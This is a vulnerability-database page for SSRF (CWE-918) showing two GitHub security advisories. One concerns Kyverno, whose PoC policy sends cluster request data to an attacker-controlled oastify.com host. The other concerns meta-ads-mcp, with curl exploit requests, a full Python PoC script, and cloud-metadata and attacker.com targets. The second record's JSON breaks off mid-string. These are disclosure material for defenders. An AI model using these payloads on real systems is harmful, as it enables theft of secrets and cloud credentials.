CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4787 vulnerabilities reference this CWE, most recent first.
GHSA-459X-Q9HG-4GPQ
Vulnerability from github – Published: 2025-04-15 21:19 – Updated: 2025-04-23 15:11Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs:
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-15T21:19:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: check-namespaces \nspec:\n rules:\n - name: call-extension\n match:\n any:\n - resources:\n kinds:\n - ConfigMap\n context:\n - name: result\n apiCall:\n method: POST\n data:\n - key: namespace\n value: \"{{request.namespace}}\"\n service:\n url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload \n validate:\n message: \"namespace {{request.namespace}} is not allowed\"\n deny:\n conditions:\n all:\n - key: \"{{ result.allowed }}\"\n operator: Equals\n value: false\n```\nNow let\u0027s create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\u003cimg width=\"723\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-02-21 \u0432 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" /\u003e\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
"id": "GHSA-459x-q9hg-4gpq",
"modified": "2025-04-23T15:11:02Z",
"published": "2025-04-15T21:19:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3615"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Kyverno vulnerable to SSRF via Service Calls"
}
GHSA-45GF-FJXP-CJPQ
Vulnerability from github – Published: 2026-07-17 18:47 – Updated: 2026-07-17 18:47Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch
Summary
The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs after the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).
Details
Source
meta_ads_mcp/core/ads.py, line 1316–1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.
# meta_ads_mcp/core/ads.py
1316: @mcp_server.tool()
1318: async def upload_ad_image(
1322: image_url: Optional[str] = None,
Propagation
meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.
# meta_ads_mcp/core/ads.py
1389: image_bytes = await try_multiple_download_methods(image_url)
Sinks
meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:
# meta_ads_mcp/core/utils.py
166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:
168: response = await client.get(url, headers=headers)
214: async with httpx.AsyncClient(follow_redirects=True) as client:
215: response = await client.get(url, headers=headers, timeout=30.0)
224: async with httpx.AsyncClient(follow_redirects=True) as client:
228: response = await client.get(url, timeout=30.0)
Authorization bypass
meta_ads_mcp/core/http_auth_integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.
Absence of sanitization
A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.
Transport exposure
meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.
PoC
Environment setup
# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
docker build -f vuln-001/Dockerfile \
-t meta-ads-ssrf-poc \
reports/pypiAi_615_pipeboard-co__meta-ads-mcp/
docker run --rm meta-ads-ssrf-poc
# Exit code 0 = SSRF confirmed
Manual reproduction (two terminals)
# Terminal 1 — SSRF capture listener on port 9009
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("SSRF GET", self.path, flush=True)
body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9"
self.send_response(200)
self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
HTTPServer(("127.0.0.1", 9009), H).serve_forever()
PY
# Terminal 2 — start the vulnerable MCP server
META_APP_ID=dummy META_APP_SECRET=dummy \
python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080
Exploit request
# 1. Initialize MCP session
curl -sS -X POST http://127.0.0.1:8080/mcp \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-H "Authorization: Bearer dummy-token" \
-d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
# 2. Send SSRF payload — image_url points to internal listener
curl -sS -X POST http://127.0.0.1:8080/mcp \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-H "Authorization: Bearer dummy-token" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"id": 1,
"params": {
"name": "upload_ad_image",
"arguments": {
"account_id": "act_123456789",
"image_url": "http://127.0.0.1:9009/poc.jpg"
}
}
}'
Expected result
Terminal 1 prints:
SSRF GET /poc.jpg
The curl response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound GET /poc.jpg request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.
Confirmed runtime evidence (from Docker run)
[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'
[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009
-> GET /poc.jpg | User-Agent: 'curl/8.4.0'
Alternative targets
Replace http://127.0.0.1:9009/poc.jpg with:
- http://169.254.169.254/latest/meta-data/ — cloud instance metadata (AWS/GCP/Azure)
- http://10.0.0.1/ — RFC 1918 internal network services
- http://attacker.com/redirect — a public URL that redirects to an internal target (exploitable via follow_redirects=True)
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC tools/call request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:
- Localhost services: databases, admin panels, internal APIs, and other processes bound to
127.0.0.1on the host - RFC 1918 / private network addresses: internal microservices, Kubernetes control planes, cloud-internal load balancers
- Cloud instance metadata endpoints:
http://169.254.169.254/(AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets - Redirect-chained internal targets: any internal host reachable via a public-to-private redirect, because
follow_redirects=Trueis set on all three fetch paths without re-validation at each hop
The SSRF fires before Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).
Operators deploying meta-ads-mcp with --transport streamable-http in environments co-located with sensitive internal services or cloud metadata services are directly at risk.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
# Install system build dependencies
RUN apt-get update && \
apt-get install -y --no-install-recommends gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Install pip and uv for fast dependency installation
RUN pip install --upgrade pip && pip install uv
# Install Python dependencies from the cloned repo
COPY repo/requirements.txt .
RUN uv pip install --system -r requirements.txt
# Copy the full application source (cloned repo)
COPY repo/ .
# Install the package in editable mode (no extra deps, already installed above)
RUN pip install --no-deps -e .
# Copy the PoC exploit script into the image
COPY vuln-001/poc.py /poc.py
# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error
CMD ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113
CWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)
Attack flow:
1. Attacker sends tools/call for upload_ad_image with image_url="http://127.0.0.1:9009/poc.jpg"
2. MCP server calls try_multiple_download_methods(image_url) with no URL validation
3. httpx.AsyncClient(follow_redirects=True).get("http://127.0.0.1:9009/poc.jpg") fires
4. SSRF listener records the inbound GET, proving the server issued the request
Authorization bypass: only a non-empty Bearer token string is required before the fetch;
the actual Meta API credential check happens after the image download.
"""
import threading
import subprocess
import time
import json
import sys
import socket
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
import httpx
# ── Configuration ─────────────────────────────────────────────────────────────
SSRF_PORT = 9009 # Port for the SSRF capture listener
MCP_PORT = 8080 # Port for the vulnerable MCP server
SSRF_PATH = "/poc.jpg" # Path that the MCP server will request (SSRF indicator)
# ── Shared state ──────────────────────────────────────────────────────────────
ssrf_hits: list = []
ssrf_lock = threading.Lock()
# ── SSRF capture listener ─────────────────────────────────────────────────────
class SSRFCaptureHandler(BaseHTTPRequestHandler):
"""Records every inbound GET request made by the vulnerable MCP server."""
def do_GET(self):
hit = {
"method": "GET",
"path": self.path,
"host": self.client_address[0],
"user_agent": self.headers.get("User-Agent", ""),
}
with ssrf_lock:
ssrf_hits.append(hit)
print(
f"[SSRF LISTENER] Received GET {self.path!r}"
f" from {self.client_address[0]}"
f" | User-Agent: {hit['user_agent']!r}",
flush=True,
)
# Return a minimal valid JPEG so the server processes the response
body = (
b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
b"\xff\xd9"
)
self.send_response(200)
self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, fmt, *args):
pass # Suppress default access log to keep output clean
def start_ssrf_listener() -> None:
server = HTTPServer(("127.0.0.1", SSRF_PORT), SSRFCaptureHandler)
server.serve_forever()
# ── Helpers ───────────────────────────────────────────────────────────────────
def wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:
"""Poll until the TCP port is accepting connections or timeout expires."""
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection((host, port), timeout=1.0):
return True
except (ConnectionRefusedError, OSError):
time.sleep(0.5)
return False
def mcp_post(
method: str,
params: dict,
req_id: int,
session_id: str | None = None,
) -> httpx.Response:
"""Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.
Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp
with HTTP 307, so we skip the redirect by targeting the canonical path directly.
Accept header must include text/event-stream; without it the server returns 406.
"""
headers = {
"Content-Type": "application/json",
# MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
# text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
"Accept": "application/json, text/event-stream",
# Dummy Bearer token — the middleware only checks that it is non-empty;
# Meta API credential validation happens AFTER the image download (SSRF sink).
"Authorization": "Bearer dummy-ssrf-poc-token",
}
if session_id:
headers["Mcp-Session-Id"] = session_id
payload = {"jsonrpc": "2.0", "method": method, "id": req_id, "params": params}
with httpx.Client(timeout=30.0) as client:
return client.post(
f"http://127.0.0.1:{MCP_PORT}/mcp", # no trailing slash
json=payload,
headers=headers,
)
# ── Main PoC ──────────────────────────────────────────────────────────────────
def main() -> int:
print("=" * 65, flush=True)
print("VULN-001 PoC — SSRF in meta-ads-mcp upload_ad_image (v1.0.113)", flush=True)
print("CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation", flush=True)
print("=" * 65, flush=True)
# ── Step 1: Start the SSRF capture listener ────────────────────────────
t = threading.Thread(target=start_ssrf_listener, daemon=True)
t.start()
time.sleep(0.3)
print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}", flush=True)
# ── Step 2: Start the vulnerable MCP server ────────────────────────────
env = os.environ.copy()
# Dummy credentials so the server starts; the Meta API is only called after
# the image has already been fetched (i.e., after the SSRF fires).
env.setdefault("META_APP_ID", "poc-dummy-app-id")
env.setdefault("META_APP_SECRET", "poc-dummy-secret")
env.setdefault("PIPEBOARD_API_TOKEN", "")
proc = subprocess.Popen(
[
sys.executable, "-m", "meta_ads_mcp",
"--transport", "streamable-http",
"--host", "127.0.0.1",
"--port", str(MCP_PORT),
],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
env=env,
cwd="/app",
)
print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...", flush=True)
# ── Step 3: Wait for server readiness ─────────────────────────────────
if not wait_for_port("127.0.0.1", MCP_PORT, timeout=30):
try:
out, _ = proc.communicate(timeout=5)
except subprocess.TimeoutExpired:
out = ""
print(f"[FAIL] MCP server did not start within 30 s.\nServer output:\n{out}", flush=True)
return 2
print(f"[+] MCP server is up on 127.0.0.1:{MCP_PORT}", flush=True)
time.sleep(0.5)
# ── Step 4: MCP protocol initialization ───────────────────────────────
# The streamable-HTTP transport requires a brief initialize / initialized
# handshake before accepting tool calls.
session_id = None
try:
resp = mcp_post(
"initialize",
{
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "ssrf-poc", "version": "1.0"},
},
req_id=0,
)
print(f"[*] initialize -> HTTP {resp.status_code}", flush=True)
session_id = resp.headers.get("Mcp-Session-Id")
if session_id:
print(f"[*] Session ID: {session_id}", flush=True)
notif_headers = {
"Content-Type": "application/json",
"Authorization": "Bearer dummy-ssrf-poc-token",
"Mcp-Session-Id": session_id,
}
notif_payload = {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}
with httpx.Client(timeout=10.0) as client:
nr = client.post(
f"http://127.0.0.1:{MCP_PORT}/mcp", # no trailing slash
json=notif_payload,
headers=notif_headers,
)
print(f"[*] notifications/initialized -> HTTP {nr.status_code}", flush=True)
except Exception as exc:
print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)
# ── Step 5: Send the SSRF exploit payload ─────────────────────────────
ssrf_url = f"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}"
print(f"\n[*] Sending exploit request ...", flush=True)
print(f" method : tools/call", flush=True)
print(f" tool : upload_ad_image", flush=True)
print(f" image_url : {ssrf_url} <-- SSRF payload", flush=True)
print(f" Authorization : Bearer dummy-ssrf-poc-token (not validated before fetch)", flush=True)
try:
resp = mcp_post(
"tools/call",
{
"name": "upload_ad_image",
"arguments": {
"account_id": "act_123456789",
"image_url": ssrf_url,
},
},
req_id=1,
session_id=session_id,
)
print(f"\n[*] tools/call -> HTTP {resp.status_code}", flush=True)
print(f"[*] Response preview (first 400 chars):\n{resp.text[:400]}", flush=True)
except Exception as exc:
print(f"[*] tools/call exception: {exc}", flush=True)
# ── Step 6: Allow time for async fetch to complete ────────────────────
time.sleep(4)
proc.terminate()
# ── Step 7: Evaluate and report ───────────────────────────────────────
print("\n" + "=" * 65, flush=True)
with ssrf_lock:
hits = list(ssrf_hits)
if hits:
print(
f"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to"
f" 127.0.0.1:{SSRF_PORT}",
flush=True,
)
for h in hits:
print(
f" -> {h['method']} {h['path']}"
f" | User-Agent: {h['user_agent']!r}",
flush=True,
)
print(
"\nConclusion: upload_ad_image passes attacker-controlled image_url to"
" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,"
" host, or IP validation. Internal services are reachable via SSRF.",
flush=True,
)
print("=" * 65, flush=True)
return 0
else:
print(
f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.",
flush=True,
)
print("=" * 65, flush=True)
return 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "meta-ads-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.115"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54549"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T18:47:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch\n\n### Summary\n\nThe `upload_ad_image` MCP tool in `meta-ads-mcp` v1.0.113 passes an attacker-controlled `image_url` parameter directly to an HTTP fetch helper (`httpx.AsyncClient(follow_redirects=True).get(url)`) without any scheme, host, or IP address validation. When the server is deployed with the `streamable-http` transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL\u2014including `http://127.0.0.1/`, RFC 1918 addresses, or cloud metadata endpoints such as `http://169.254.169.254/`\u2014and cause the server to issue an outbound HTTP request to that target. The `Authorization` middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).\n\n### Details\n\n**Source**\n\n`meta_ads_mcp/core/ads.py`, line 1316\u20131322: The MCP tool `upload_ad_image` is registered with `@mcp_server.tool()` and exposes `image_url: Optional[str]` as a direct tool argument that is fully attacker-controlled over the network.\n\n```python\n# meta_ads_mcp/core/ads.py\n1316: @mcp_server.tool()\n1318: async def upload_ad_image(\n1322: image_url: Optional[str] = None,\n```\n\n**Propagation**\n\n`meta_ads_mcp/core/ads.py`, line 1389: The value is forwarded to `try_multiple_download_methods(image_url)` without any sanitization or validation.\n\n```python\n# meta_ads_mcp/core/ads.py\n1389: image_bytes = await try_multiple_download_methods(image_url)\n```\n\n**Sinks**\n\n`meta_ads_mcp/core/utils.py` contains three independent HTTP fetch paths, all using `httpx.AsyncClient` with `follow_redirects=True` and no URL, host, or IP validation:\n\n```python\n# meta_ads_mcp/core/utils.py\n166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:\n168: response = await client.get(url, headers=headers)\n\n214: async with httpx.AsyncClient(follow_redirects=True) as client:\n215: response = await client.get(url, headers=headers, timeout=30.0)\n\n224: async with httpx.AsyncClient(follow_redirects=True) as client:\n228: response = await client.get(url, timeout=30.0)\n```\n\n**Authorization bypass**\n\n`meta_ads_mcp/core/http_auth_integration.py`, lines 78\u201382: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta\u0027s API. The actual Meta OAuth token check (in `meta_ads_mcp/core/api.py:415`) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.\n\n**Absence of sanitization**\n\nA search for `urlparse`, `urlsplit`, `ipaddress`, `localhost`, `127.0.0.1`, `169.254`, `private`, `allowlist`, `blocklist`, or `is_global` in `meta_ads_mcp/core/ads.py` and `meta_ads_mcp/core/utils.py` returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.\n\n**Transport exposure**\n\n`meta_ads_mcp/core/server.py`, line 219: The `--transport streamable-http` mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)\ndocker build -f vuln-001/Dockerfile \\\n -t meta-ads-ssrf-poc \\\n reports/pypiAi_615_pipeboard-co__meta-ads-mcp/\n\ndocker run --rm meta-ads-ssrf-poc\n# Exit code 0 = SSRF confirmed\n```\n\n**Manual reproduction (two terminals)**\n\n```bash\n# Terminal 1 \u2014 SSRF capture listener on port 9009\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n print(\"SSRF GET\", self.path, flush=True)\n body = b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xd9\"\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\nHTTPServer((\"127.0.0.1\", 9009), H).serve_forever()\nPY\n\n# Terminal 2 \u2014 start the vulnerable MCP server\nMETA_APP_ID=dummy META_APP_SECRET=dummy \\\n python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080\n```\n\n**Exploit request**\n\n```bash\n# 1. Initialize MCP session\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n -H \"Content-Type: application/json\" \\\n -H \"Accept: application/json, text/event-stream\" \\\n -H \"Authorization: Bearer dummy-token\" \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":0,\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}\u0027\n\n# 2. Send SSRF payload \u2014 image_url points to internal listener\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n -H \"Content-Type: application/json\" \\\n -H \"Accept: application/json, text/event-stream\" \\\n -H \"Authorization: Bearer dummy-token\" \\\n -d \u0027{\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"id\": 1,\n \"params\": {\n \"name\": \"upload_ad_image\",\n \"arguments\": {\n \"account_id\": \"act_123456789\",\n \"image_url\": \"http://127.0.0.1:9009/poc.jpg\"\n }\n }\n }\u0027\n```\n\n**Expected result**\n\nTerminal 1 prints:\n```\nSSRF GET /poc.jpg\n```\n\nThe `curl` response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound `GET /poc.jpg` request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.\n\n**Confirmed runtime evidence (from Docker run)**\n\n```\n[SSRF LISTENER] Received GET \u0027/poc.jpg\u0027 from 127.0.0.1 | User-Agent: \u0027curl/8.4.0\u0027\n[PASS] SSRF CONFIRMED \u2014 MCP server issued 1 request(s) to 127.0.0.1:9009\n -\u003e GET /poc.jpg | User-Agent: \u0027curl/8.4.0\u0027\n```\n\n**Alternative targets**\n\nReplace `http://127.0.0.1:9009/poc.jpg` with:\n- `http://169.254.169.254/latest/meta-data/` \u2014 cloud instance metadata (AWS/GCP/Azure)\n- `http://10.0.0.1/` \u2014 RFC 1918 internal network services\n- `http://attacker.com/redirect` \u2014 a public URL that redirects to an internal target (exploitable via `follow_redirects=True`)\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC `tools/call` request to the MCP HTTP endpoint\u2014using any non-empty Bearer token string\u2014can instruct the server to make arbitrary outbound HTTP GET requests, including to:\n\n- **Localhost services**: databases, admin panels, internal APIs, and other processes bound to `127.0.0.1` on the host\n- **RFC 1918 / private network addresses**: internal microservices, Kubernetes control planes, cloud-internal load balancers\n- **Cloud instance metadata endpoints**: `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets\n- **Redirect-chained internal targets**: any internal host reachable via a public-to-private redirect, because `follow_redirects=True` is set on all three fetch paths without re-validation at each hop\n\nThe SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).\n\nOperators deploying `meta-ads-mcp` with `--transport streamable-http` in environments co-located with sensitive internal services or cloud metadata services are directly at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system build dependencies\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends gcc \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Install pip and uv for fast dependency installation\nRUN pip install --upgrade pip \u0026\u0026 pip install uv\n\n# Install Python dependencies from the cloned repo\nCOPY repo/requirements.txt .\nRUN uv pip install --system -r requirements.txt\n\n# Copy the full application source (cloned repo)\nCOPY repo/ .\n\n# Install the package in editable mode (no extra deps, already installed above)\nRUN pip install --no-deps -e .\n\n# Copy the PoC exploit script into the image\nCOPY vuln-001/poc.py /poc.py\n\n# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113\nCWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)\n\nAttack flow:\n 1. Attacker sends tools/call for upload_ad_image with image_url=\"http://127.0.0.1:9009/poc.jpg\"\n 2. MCP server calls try_multiple_download_methods(image_url) with no URL validation\n 3. httpx.AsyncClient(follow_redirects=True).get(\"http://127.0.0.1:9009/poc.jpg\") fires\n 4. SSRF listener records the inbound GET, proving the server issued the request\n\nAuthorization bypass: only a non-empty Bearer token string is required before the fetch;\nthe actual Meta API credential check happens after the image download.\n\"\"\"\n\nimport threading\nimport subprocess\nimport time\nimport json\nimport sys\nimport socket\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport httpx\n\n# \u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nSSRF_PORT = 9009 # Port for the SSRF capture listener\nMCP_PORT = 8080 # Port for the vulnerable MCP server\nSSRF_PATH = \"/poc.jpg\" # Path that the MCP server will request (SSRF indicator)\n\n# \u2500\u2500 Shared state \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nssrf_hits: list = []\nssrf_lock = threading.Lock()\n\n\n# \u2500\u2500 SSRF capture listener 